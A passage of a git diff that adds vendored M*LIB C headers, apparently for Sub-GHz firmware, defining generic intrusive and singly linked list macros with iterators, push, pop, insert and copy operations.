+    struct m_il1st_head_s *next = ref->next;                                  \
+    ref->next = &obj->name;                                                   \
+    obj->name.next = next;                                                    \
+    obj->name.prev = ref;                                                     \
+    next->prev = &obj->name;                                                  \
+    /* Move iterator in old list */                                           \
+    M_F(name, _next)(opos);                                                   \
+    /* Set npos iterator to new position of object */                         \
+    npos->previous = ref;                                                     \
+    npos->current = &obj->name;                                               \
+    npos->next = next;                                                        \
+    M_IL1ST_CONTRACT(name, nlist);                                            \
+    M_IL1ST_CONTRACT(name, olist);                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(list_t d, list_t e)                                        \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, d);                                                \
+    M_IL1ST_CONTRACT(name, e);                                                \
+    struct m_il1st_head_s *d_item = d->name.next;                             \
+    struct m_il1st_head_s *e_item = e->name.next;                             \
+    /* it is more complicated than other swap functions since                 \
+       we need to detect "cyclic" loop */                                     \
+    d->name.next = e_item == &e->name ? &d->name : e_item;                    \
+    e->name.next = d_item == &d->name ? &e->name : d_item;                    \
+    d_item = d->name.prev;                                                    \
+    e_item = e->name.prev;                                                    \
+    d->name.prev = e_item == &e->name ? &d->name : e_item;                    \
+    e->name.prev = d_item == &d->name ? &e->name : d_item;                    \
+    d->name.next->prev = &d->name;                                            \
+    d->name.prev->next = &d->name;                                            \
+    e->name.next->prev = &e->name;                                            \
+    e->name.prev->next = &e->name;                                            \
+    M_IL1ST_CONTRACT(name, d);                                                \
+    M_IL1ST_CONTRACT(name, e);                                                \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _reverse)(list_t list)                                            \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    struct m_il1st_head_s *next, *it;                                         \
+    for(it = list->name.next ; it != &list->name; it = next) {                \
+      next = it->next;                                                        \
+      it->next = it->prev;                                                    \
+      it->prev = next;                                                        \
+    }                                                                         \
+    next = it->next;                                                          \
+    it->next = it->prev;                                                      \
+    it->prev = next;                                                          \
+    M_IL1ST_CONTRACT(name, list);                                             \
+  }                                                                           \
+
+
+/******************************** INTERNAL ***********************************/
+
+#if M_USE_SMALL_NAME
+#define ILIST_INTERFACE M_ILIST_INTERFACE
+#define ILIST_DEF M_ILIST_DEF
+#define ILIST_DEF_AS M_ILIST_DEF_AS
+#define ILIST_OPLIST M_ILIST_OPLIST
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-list.h b/lib/subghz_unleashed_compat/include/mlib/m-list.h
new file mode 100644
index 000000000..a8284ff4c
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-list.h
@@ -0,0 +1,1618 @@
+/*
+ * M*LIB - LIST module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_LIST_H
+#define MSTARLIB_LIST_H
+
+#include "m-core.h"
+
+/* Define a singly linked list of a given type.
+   USAGE: LIST_DEF(name, type [, oplist_of_the_type]) */
+#define M_LIST_DEF(name, ...)                                                 \
+  M_LIST_DEF_AS(name, M_F(name, _t), M_F(name, _it_t), __VA_ARGS__)
+
+
+/* Define a singly linked list of a given type
+   as the provided type name_t with the iterator named it_t
+   USAGE: LIST_DEF_AS(name, name_t, it_t, type [, oplist_of_the_type]) */
+#define M_LIST_DEF_AS(name, name_t, it_t, ...)                                \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_L1ST_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                   \
+               ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t ), \
+                (name, __VA_ARGS__,                                        name_t, it_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a singly linked list of a given type allowing both push (BI) and one pop (Back)
+   USAGE: LIST_DUALB_DEF(name, type [, oplist_of_the_type]) */
+#define M_LIST_DUALB_DEF(name, ...)                                           \
+  M_LIST_DUALB_DEF_AS(name, M_F(name,_t), M_F(name, _it_t), __VA_ARGS__)
+
+
+/* Define a singly linked list of a given type allowing both push (BI) and one pop (Back)
+   as the provided type name_t with the iterator named it_t
+   USAGE: LIST_DUALB_DEF_AS(name, name_t, type [, oplist_of_the_type]) */
+#define M_LIST_DUALB_DEF_AS(name, name_t, it_t, ...)                          \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_L1ST_DUAL_PUSH_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                         \
+                         ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t ), \
+                          (name, __VA_ARGS__,                                        name_t, it_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a singly linked list of a given type allowing both push (BI) and one pop (Front)
+   USAGE: LIST_DUALF_DEF(name, type [, oplist_of_the_type]) */
+#define M_LIST_DUALF_DEF(name, ...)                                           \
+  M_LIST_DUALF_DEF_AS(name, M_F(name,_t), M_F(name, _it_t), __VA_ARGS__)
+
+
+/* Define a singly linked list of a given type allowing both push (BI) and one pop (Front)
+   as the provided type name_t with the iterator named it_t
+   USAGE: LIST_DUALF_DEF_AS(name, name_t, type [, oplist_of_the_type]) */
+#define M_LIST_DUALF_DEF_AS(name, name_t, it_t, ...)                          \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_L1ST_DUALF_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                             \
+                         ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t ), \
+                          (name, __VA_ARGS__,                                        name_t, it_t ))) \
+  M_END_PROTECTED_CODE
+
+/* Define the oplist of a list of the given type.
+   USAGE: LIST_OPLIST(name [, oplist_of_the_type]) */
+#define M_LIST_OPLIST(...)                                                    \
+  M_L1ST_OPLIST_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                \
+                  ((__VA_ARGS__, M_BASIC_OPLIST ),                            \
+                   (__VA_ARGS__ )))
+
+/* Define the oplist of a list of the given type.
+   USAGE: LIST_DUALF_OPLIST(name [, oplist_of_the_type]) */
+#define M_LIST_DUALF_OPLIST(...) M_OPEXTEND(M_LIST_OPLIST(__VA_ARGS__), REVERSE(0), SPLICE_BACK(0))
+
+/* Define an init value to init global variables of type list.
+  USAGE:
+    list_t global_variable = LIST_INIT_VALUE();
+ */
+#define M_LIST_INIT_VALUE()                                                   \
+  { NULL }
+
+
+/* Define an init value to init global variables of type dual push list (Both BIB and BIF)
+  USAGE:
+    list_t global_variable = LIST_DUAL_PUSH_INIT_VALUE();
+ */
+#define M_LIST_DUAL_PUSH_INIT_VALUE()                                         \
+  { { NULL, NULL } }
+
+
+/********************************** INTERNAL ************************************/
+
+//TODO: Provide an update scheme for mempool using new memory allocator context.
+
+/* Deferred evaluation for the oplist definition,
+   so that all arguments are evaluated before further expansion */
+#define M_L1ST_OPLIST_P1(arg) M_L1ST_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_L1ST_OPLIST_P2(name, oplist)                                        \
+  M_IF_OPLIST(oplist)(M_L1ST_OPLIST_P3, M_L1ST_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_L1ST_OPLIST_FAILURE(name, oplist)                                   \
+  ((M_LIB_ERROR(ARGUMENT_OF_LIST_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* OPLIST definition of a list and list_dual_push */
+#ifndef M_USE_CONTEXT
+#define M_L1ST_OPLIST_P3(name, oplist)                                        \
+  (INIT(M_F(name, _init)),                                                    \
+   INIT_SET(M_F(name, _init_set)),                                            \
+   INIT_WITH(API_1(M_INIT_WITH_VAI)),                                         \
+   SET(M_F(name, _set)),                                                      \
+   CLEAR(M_F(name, _clear)),                                                  \
+   MOVE(M_F(name, _move)),                                                    \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   SWAP(M_F(name, _swap)),                                                    \
+   NAME(name),                                                                \
+   TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)**),                       \
+   SUBTYPE(M_F(name,_subtype_ct)),                                            \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_SET(M_F(name,_it_set)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_EQUAL_P(M_F(name,_it_equal_p)),                                         \
+   IT_LAST_P(M_F(name,_last_p)),                                              \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_REF(M_F(name,_ref)),                                                    \
+   IT_CREF(M_F(name,_cref)),                                                  \
+   IT_INSERT(M_F(name, _insert)),                                             \
+   IT_REMOVE(M_F(name,_remove)),                                              \
+   RESET(M_F(name,_reset)),                                                   \
+   PUSH(M_F(name,_push)),                                                     \
+   POP(M_F(name,_pop)),                                                       \
+   PUSH_MOVE(M_F(name,_push_move)),                                           \
+   POP_MOVE(M_F(name,_pop_move))                                              \
+   ,SPLICE_BACK(M_F(name,_splice_back))                                       \
+   ,SPLICE_AT(M_F(name,_splice_at))                                           \
+   ,REVERSE(M_F(name,_reverse))                                               \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(M_F(name, _get_str)),)               \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(M_F(name, _parse_str)),)         \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(M_F(name, _in_str)),)                  \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(M_F(name, _out_serial)),)      \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(M_F(name, _in_serial)),)         \
+   ,M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),)                   \
+   ,M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                        \
+   )
+#else
+#define M_L1ST_OPLIST_P3(name, oplist)                                        \
+  (INIT(M_F(name, _init)),                                                    \
+   INIT_SET(API_0P(M_F(name, _init_set))),                                    \
+   INIT_WITH(API_1(M_INIT_WITH_VAI)),                                         \
+   SET(API_0P(M_F(name, _set))),                                              \
+   CLEAR(API_0P(M_F(name, _clear))),                                          \
+   MOVE(API_0P(M_F(name, _move))),                                            \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   SWAP(M_F(name, _swap)),                                                    \
+   NAME(name),                                                                \
+   TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)**),                       \
+   SUBTYPE(M_F(name,_subtype_ct)),                                            \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_SET(M_F(name,_it_set)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_EQUAL_P(M_F(name,_it_equal_p)),                                         \
+   IT_LAST_P(M_F(name,_last_p)),                                              \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_REF(M_F(name,_ref)),                                                    \
+   IT_CREF(M_F(name,_cref)),                                                  \
+   IT_INSERT(API_0P(M_F(name, _insert))),                                     \
+   IT_REMOVE(API_0P(M_F(name,_remove))),                                      \
+   RESET(API_0P(M_F(name,_reset))),                                           \
+   PUSH(API_0P(M_F(name,_push))),                                             \
+   POP(API_0P(M_F(name,_pop))),                                               \
+   PUSH_MOVE(API_0P(M_F(name,_push_move))),                                   \
+   POP_MOVE(API_0P(M_F(name,_pop_move)))                                      \
+   ,SPLICE_BACK(M_F(name,_splice_back))                                       \
+   ,SPLICE_AT(M_F(name,_splice_at))                                           \
+   ,REVERSE(M_F(name,_reverse))                                               \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(API_0P(M_F(name, _get_str))),)       \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(API_0P(M_F(name, _parse_str))),) \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(API_0P(M_F(name, _in_str))),)          \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),) \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(API_0P(M_F(name, _in_serial))),) \
+   ,M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),)                   \
+   ,M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                        \
+   )
+#endif
+
+/* Deferred evaluation for the list definition,
+   so that all arguments are evaluated before further expansion */
+#define M_L1ST_DEF_P1(arg) M_ID( M_L1ST_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_L1ST_DEF_P2(name, type, oplist, list_t, it_t)                       \
+  M_IF_OPLIST(oplist)(M_L1ST_DEF_P3, M_L1ST_DEF_FAILURE)(name, type, oplist, list_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_L1ST_DEF_FAILURE(name, type, oplist, list_t, it_t)                  \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(LIST_DEF): the given argument is not a valid oplist: " #oplist)
+
+
+/* Internal list definition
+   - name: prefix to be used
+   - type: type of the elements of the list
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for M_F(name, _t) [ type of the container ]
+   - it_t: alias for M_F(name, _it_t) [ iterator of the container ]
+   - node_t: alias for M_F(name, _node_t) [ node ]
+ */
+#define M_L1ST_DEF_P3(name, type, oplist, list_t, it_t)                       \
+  M_L1ST_DEF_TYPE(name, type, oplist, list_t, it_t)                           \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_L1ST_DEF_P4(name, type, oplist, list_t, it_t)                             \
+  M_EMPLACE_QUEUE_DEF(name, list_t, _emplace_back, oplist, M_L1ST_EMPLACE_DEF) \
+  M_L1ST_ITBASE_DEF(name, type, oplist, list_t, it_t)
+
+
+/* Define the internal contract of a list
+   (there is nothing worthy to be checked) */
+#define M_L1ST_CONTRACT(v) do {                                               \
+    M_ASSERT (v != NULL);                                                     \
+  } while (0)
+
+
+/* Define the type of a list */
+#define M_L1ST_DEF_TYPE(name, type, oplist, list_t, it_t)                     \
+                                                                              \
+  /* Define the node of a list, and the list as a pointer to a node */        \
+  typedef struct M_F(name, _s) {                                              \
+    struct M_F(name, _s) *next;  /* Next node or NULL if final node */        \
+    type data;                   /* The data itself */                        \
+  } *list_t[1];                                                               \
+                                                                              \
+  /* Define an iterator of a list */                                          \
+  typedef struct M_F(name, _it_s) {                                           \
+    struct M_F(name, _s) *previous; /* Previous node or NULL */               \
+    struct M_F(name, _s) *current;  /* Current node or NULL */                \
+  } it_t[1];                                                                  \
+                                                                              \
+  /* Definition of the synonyms of the type */                                \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+  typedef list_t M_F(name, _ct);                                              \
+  typedef it_t M_F(name, _it_ct);                                             \
+  typedef type M_F(name, _subtype_ct);                                        \
+ 
+
+ /* Internal list function definition
+   - name: prefix to be used
+   - type: type of the elements of the list
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for type of the container
+   - it_t: alias for iterator of the container
+ */
+#define M_L1ST_DEF_P4(name, type, oplist, list_t, it_t)                       \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init)(list_t v)                                                  \
+  {                                                                           \
+    M_ASSERT (v != NULL);                                                     \
+    *v = NULL;                                                                \
+  }                                                                           \
+                                                                              \
+  M_P(void,name, _reset, list_t v)                                            \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    struct M_F(name, _s) *it = *v;                                            \
+    *v = NULL;                                                                \
+    while (it != NULL) {                                                      \
+      struct M_F(name, _s) *next = it->next;                                  \
+      M_CALL_CLEAR(oplist, it->data);                                         \
+      M_CALL_DEL(oplist, it);                                                 \
+      it = next;                                                              \
+    }                                                                         \
+    M_L1ST_CONTRACT(v);                                                       \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, list_t v)                                           \
+  {                                                                           \
+    M_F(name, _reset)M_R(v);                                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE type  *                                                            \
+  M_F(name, _back)(const list_t v)                                            \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_ASSERT(*v != NULL);                                                     \
+    return &((*v)->data);                                                     \
+  }                                                                           \
+                                                                              \
+  M_P(type *, name, _push_back_raw, list_t v)                                 \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    struct M_F(name, _s) *next = M_CALL_NEW(oplist, struct M_F(name, _s));    \
+    if (M_UNLIKELY_NOMEM (next == NULL)) {                                    \
+      M_MEMORY_FULL(struct M_F(name, _s), 1);                                 \
+    }                                                                         \
+    type *ret = &next->data;                                                  \
+    next->next = *v;                                                          \
+    *v = next;                                                                \
+    M_L1ST_CONTRACT(v);                                                       \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _push_back, list_t v, type const x)                         \
+  {                                                                           \
+    type *data = M_F(name, _push_back_raw)M_R(v);                             \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = *v );                         \
+    M_ON_EXCEPTION( *v = next->next, M_CALL_DEL(oplist, next)) {              \
+      M_CALL_INIT_SET(oplist, *data, x);                                      \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _push, list_t v, type const x)                              \
+  {                                                                           \
+    M_F(name, _push_back)M_R(v, x);                                           \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, _push_new, list_t v)                                      \
+  {                                                                           \
+    type *data = M_F(name, _push_back_raw)M_R(v);                             \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return NULL;                                                            \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = *v );                         \
+    M_ON_EXCEPTION( *v = next->next, M_CALL_DEL(oplist, next)) {              \
+      M_CALL_INIT(oplist, *data);                                             \
+    }                                                                         \
+    return data;                                                              \
+  }                                                                           \
+  , /* No INIT */)                                                            \
+                                                                              \
+  M_P(void, name, _pop_back, type *data, list_t v)                            \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_ASSERT(*v != NULL);                                                     \
+    if (data != NULL) {                                                       \
+      M_DO_MOVE (oplist, *data, (*v)->data);                                  \
+    } else {                                                                  \
+      M_CALL_CLEAR(oplist, (*v)->data);                                       \
+    }                                                                         \
+    struct M_F(name, _s) *tofree = *v;                                        \
+    *v = (*v)->next;                                                          \
+    M_CALL_DEL(oplist, tofree);                                               \
+    M_L1ST_CONTRACT(v);                                                       \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop, type *data, list_t v)                                 \
+  {                                                                           \
+    M_F(name, _pop_back)M_R(data, v);                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _push_move, list_t v, type *x)                              \
+  {                                                                           \
+    M_ASSERT (x != NULL);                                                     \
+    type *data = M_F(name, _push_back_raw)M_R(v);                             \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_CALL_INIT_MOVE (oplist, *data, *x);                                     \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop_move, type *data, list_t v)                            \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_ASSERT(*v != NULL && data != NULL);                                     \
+    M_CALL_INIT_MOVE (oplist, *data, (*v)->data);                             \
+    struct M_F(name, _s) *tofree = *v;                                        \
+    *v = (*v)->next;                                                          \
+    M_CALL_DEL(oplist, tofree);                                               \
+    M_L1ST_CONTRACT(v);                                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(const list_t v)                                         \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    return *v == NULL;                                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(list_t l, list_t v)                                        \
+  {                                                                           \
+    M_L1ST_CONTRACT(l);                                                       \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_SWAP(struct M_F(name, _s) *, *l, *v);                                   \
+    M_L1ST_CONTRACT(l);                                                       \
+    M_L1ST_CONTRACT(v);                                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(it_t it, const list_t v)                                     \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_ASSERT (it != NULL);                                                    \
+    it->current = *v;                                                         \
+    it->previous = NULL;                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(it_t it1, const it_t it2)                                \
+  {                                                                           \
+    M_ASSERT (it1 != NULL && it2 != NULL);                                    \
+    it1->current  = it2->current;                                             \
+    it1->previous = it2->previous;                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(it_t it1, const list_t v)                                \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_ASSERT (it1 != NULL);                                                   \
+    (void)v; /* unused */                                                     \
+    it1->current  = NULL;                                                     \
+    it1->previous = NULL;                                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const it_t it)                                            \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    return it->current == NULL;                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _last_p)(const it_t it)                                           \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    return it->current == NULL || it->current->next == NULL;                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(it_t it)                                                   \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
+    it->previous = it->current;                                               \
+    it->current  = it->current->next;                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const it_t it1, const it_t it2)                      \
+  {                                                                           \
+    M_ASSERT(it1 != NULL && it2 != NULL);                                     \
+    return it1->current == it2->current;                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _ref)(const it_t it)                                              \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
+    return &(it->current->data);                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cref)(const it_t it)                                             \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
+    return M_CONST_CAST(type, &(it->current->data));                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(const list_t list)                                         \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    size_t size = 0;                                                          \
+    struct M_F(name, _s) *it = *list;                                         \
+    while (it != NULL) {                                                      \
+      size ++;                                                                \
+      it = it->next;                                                          \
+    }                                                                         \
+    return size;                                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _sublist_p)(const list_t list, const it_t itsub)                  \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    M_ASSERT (itsub != NULL);                                                 \
+    struct M_F(name, _s) *it = *list;                                         \
+    while (it != NULL) {                                                      \
+      if (it == itsub->current) return true;                                  \
+      it = it->next;                                                          \
+    }                                                                         \
+    /* Not found. Check if search item is NULL */                             \
+    return (itsub->current == NULL);                                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _get)(const list_t list, size_t i)                                \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    struct M_F(name, _s) *it = *list;                                         \
+    /* FIXME: How to avoid the double iteration over the list? */             \
+    size_t len = M_F(name,_size)(list);                                       \
+    M_ASSERT_INDEX (i, len);                                                  \
+    size_t j = len-1;                                                         \
+    while (true) {                                                            \
+      M_ASSERT (it != NULL);                                                  \
+      if (i == j) return &it->data;                                           \
+      it = it->next;                                                          \
+      j--;                                                                    \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cget)(const list_t l, size_t i)                                  \
+  {                                                                           \
+    return M_CONST_CAST(type, M_F(name, _get)(l,i));                          \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _insert, list_t list, it_t insertion_point, type const x)   \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    M_ASSERT (insertion_point != NULL);                                       \
+    M_ASSERT (M_F(name, _sublist_p)(list, insertion_point));                  \
+    struct M_F(name, _s) *next = M_CALL_NEW(oplist, struct M_F(name, _s));    \
+    if (M_UNLIKELY_NOMEM (next == NULL)) {                                    \
+      M_MEMORY_FULL(struct M_F(name, _s), 1);                                 \
+    }                                                                         \
+    M_ON_EXCEPTION( M_CALL_DEL(oplist, next))                                 \
+      M_CALL_INIT_SET(oplist, next->data, x);                                 \
+    struct M_F(name, _s) *current = insertion_point->current;                 \
+    if (M_UNLIKELY (current == NULL)) {                                       \
+      next->next = *list;                                                     \
+      *list = next;                                                           \
+    } else {                                                                  \
+      next->next = current->next;                                             \
+      current->next = next;                                                   \
+    }                                                                         \
+    /* Update insertion_point to this element */                              \
+    insertion_point->current = next;                                          \
+    insertion_point->previous = current;                                      \
+    M_L1ST_CONTRACT(list);                                                    \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _remove, list_t list, it_t removing_point)                  \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    M_ASSERT (removing_point != NULL);                                        \
+    M_ASSERT (removing_point->current != NULL);                               \
+    M_ASSERT (M_F(name, _sublist_p)(list, removing_point));                   \
+    struct M_F(name, _s) *next = removing_point->current->next;               \
+    if (M_UNLIKELY (removing_point->previous == NULL)) {                      \
+      *list = next;                                                           \
+    } else {                                                                  \
+      removing_point->previous->next = next;                                  \
+    }                                                                         \
+    M_CALL_CLEAR(oplist, removing_point->current->data);                      \
+    M_CALL_DEL(oplist, removing_point->current);                              \
+    removing_point->current = next;                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init_set, list_t list, const list_t org)                   \
+  {                                                                           \
+    M_L1ST_CONTRACT(org);                                                     \
+    struct M_F(name, _s) *m_volatile next = NULL;                             \
+    struct M_F(name, _s) *it_org;                                             \
+    struct M_F(name, _s) **update_list;                                       \
+    update_list = list;                                                       \
+    it_org = *org;                                                            \
+    /* If exceptions, always keep list as a valid list */                     \
+    M_IF_EXCEPTION(*update_list = NULL);                                      \
+    /* On exceptions, free node and clear list*/                              \
+    M_ON_EXCEPTION(M_CALL_DEL(oplist, next), M_F(name, _clear)(list) )        \
+    while (it_org != NULL) {                                                  \
+      next = M_CALL_NEW(oplist, struct M_F(name, _s));                        \
+      if (M_UNLIKELY_NOMEM (next == NULL)) {                                  \
+        M_MEMORY_FULL(struct M_F(name, _s), 1);                               \
+      }                                                                       \
+      M_CALL_INIT_SET(oplist, next->data, it_org->data);                      \
+      *update_list = next;                                                    \
+      update_list = &next->next;                                              \
+      it_org = it_org->next;                                                  \
+      M_IF_EXCEPTION(next = NULL, *update_list = NULL);                       \
+    }                                                                         \
+    *update_list = NULL;                                                      \
+    M_L1ST_CONTRACT(list);                                                    \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _set, list_t list, const list_t org)                        \
+  {                                                                           \
+    if (M_UNLIKELY (list == org)) return;                                     \
+    M_ON_EXCEPTION(M_F(name, _init)(list) ) {                                 \
+      M_F(name, _clear)M_R(list);                                             \
+      M_F(name, _init_set)M_R(list, org);                                     \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(list_t list, list_t org)                              \
+  {                                                                           \
+    M_L1ST_CONTRACT(org);                                                     \
